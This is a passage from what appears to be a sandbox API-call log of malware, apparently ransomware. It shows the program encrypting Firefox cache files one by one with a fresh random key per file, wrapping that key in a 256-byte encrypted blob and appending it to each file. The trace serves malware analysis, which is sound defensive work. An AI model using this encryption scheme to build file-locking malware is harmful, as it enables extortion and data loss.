(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\789617E6CBDC728F205B5B4C33CD556E4CA32006", dwFileAttributes=0x80) returned 1 [0187.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df6b8 [0187.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.212] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x577, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x577, lpOverlapped=0x0) returned 1 [0187.213] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1399, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.213] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x577, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x577, lpOverlapped=0x0) returned 1 [0187.213] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x577 [0187.214] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.214] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df3a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df3a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.214] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df3a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df3a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.214] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.214] CloseHandle (hObject=0x1b80) returned 1 [0187.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0187.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.216] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7854D382F9129B1F63C548FFA98E16681B442ADB", dwFileAttributes=0x80) returned 1 [0187.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0630 [0187.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.216] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb44, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb44, lpOverlapped=0x0) returned 1 [0187.218] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.218] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f43d8*, nNumberOfBytesToWrite=0xb44, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f43d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb44, lpOverlapped=0x0) returned 1 [0187.218] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb44 [0187.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.218] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.218] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.219] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.219] CloseHandle (hObject=0x1b80) returned 1 [0187.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0b58 | out: pbBuffer=0x30e0b58) returned 1 [0187.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\784BF733DA8C7E276D81D56E27763E588BD3C528", dwFileAttributes=0x80) returned 1 [0187.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df3a0 [0187.220] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.220] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0187.223] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.224] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4790*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4790*, lpNumberOfBytesWritten=0x2e1f9bc*=0xefa, lpOverlapped=0x0) returned 1 [0187.224] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xefa [0187.224] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.224] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0b58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.224] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0b58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0b58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.224] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.225] CloseHandle (hObject=0x1b80) returned 1 [0187.226] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0948 | out: pbBuffer=0x30e0948) returned 1 [0187.226] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.226] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7807899BF5E94564AFE48A5B5DF11C0FDB47F065", dwFileAttributes=0x80) returned 1 [0187.227] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0108 [0187.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.261] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d8, lpOverlapped=0x0) returned 1 [0187.266] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.266] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d8, lpOverlapped=0x0) returned 1 [0187.267] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d8 [0187.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.267] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0948*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0948*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.267] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0948*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0948*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.268] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.268] CloseHandle (hObject=0x1b80) returned 1 [0187.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df3a0 | out: pbBuffer=0x30df3a0) returned 1 [0187.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.272] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\77BEB77D9CC969C39958CC4A5EBACAF025E09EA4", dwFileAttributes=0x80) returned 1 [0187.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0e70 [0187.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.273] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x28b5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x28b5, lpOverlapped=0x0) returned 1 [0187.288] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-10421, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.288] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3060*, nNumberOfBytesToWrite=0x28b5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x28b5, lpOverlapped=0x0) returned 1 [0187.289] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x28b5 [0187.289] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.289] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df3a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df3a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.289] WriteFile (in: hFile=0x1b80, lpBuffer=0x30df3a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df3a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.290] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.290] CloseHandle (hObject=0x1b80) returned 1 [0187.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0d68 | out: pbBuffer=0x30e0d68) returned 1 [0187.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0187.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\76EF1292F45B28008B0E37EDAF898359BDA69EF7", dwFileAttributes=0x80) returned 1 [0187.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0e70 [0187.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.292] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x24e4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x24e4, lpOverlapped=0x0) returned 1 [0187.302] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-9444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.302] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3060*, nNumberOfBytesToWrite=0x24e4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x24e4, lpOverlapped=0x0) returned 1 [0187.302] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x24e4 [0187.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.302] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.303] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.303] CloseHandle (hObject=0x1b80) returned 1 [0187.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0187.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.305] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7683D7BA692E9B369DA98E12C0493E467E201053", dwFileAttributes=0x80) returned 1 [0187.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30df190 [0187.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.306] ReadFile (in: hFile=0x1b80, lpBuffer=0x3520048, nNumberOfBytesToRead=0x62f6b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesRead=0x2e1f9bc*=0x62f6b, lpOverlapped=0x0) returned 1 [0187.341] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-405355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.342] WriteFile (in: hFile=0x1b80, lpBuffer=0x347c008*, nNumberOfBytesToWrite=0x62f6b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347c008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x62f6b, lpOverlapped=0x0) returned 1 [0187.347] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x62f6b [0187.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.348] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.349] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.349] CloseHandle (hObject=0x1b80) returned 1 [0187.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0d68 | out: pbBuffer=0x30e0d68) returned 1 [0187.351] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0187.351] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\75B79AD560C26FAA78C6E062C0EF70C560CA89D9", dwFileAttributes=0x80) returned 1 [0187.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dfdf0 [0187.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.352] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xa0a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xa0a, lpOverlapped=0x0) returned 1 [0187.361] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2570, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.361] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f42a0*, nNumberOfBytesToWrite=0xa0a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f42a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa0a, lpOverlapped=0x0) returned 1 [0187.362] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa0a [0187.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.362] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.362] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.363] CloseHandle (hObject=0x1b80) returned 1 [0187.364] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0187.364] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.364] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74B519AD7904E4A0C4371C7E92DD4CC58D21E347", dwFileAttributes=0x80) returned 1 [0187.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e0738 [0187.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.365] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x25e2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x25e2, lpOverlapped=0x0) returned 1 [0187.378] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-9698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.379] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3060*, nNumberOfBytesToWrite=0x25e2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25e2, lpOverlapped=0x0) returned 1 [0187.379] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25e2 [0187.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.379] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.380] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.380] CloseHandle (hObject=0x1b80) returned 1 [0187.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfdf0 | out: pbBuffer=0x30dfdf0) returned 1 [0187.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.382] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74766AB690050F59B01486BFB5895DC7027B12F6", dwFileAttributes=0x80) returned 1 [0187.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1080 [0187.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.382] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xa40, lpOverlapped=0x0) returned 1 [0187.383] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.383] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f42d0*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f42d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa40, lpOverlapped=0x0) returned 1 [0187.383] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa40 [0187.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.384] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.384] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dfdf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfdf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.384] WriteFile (in: 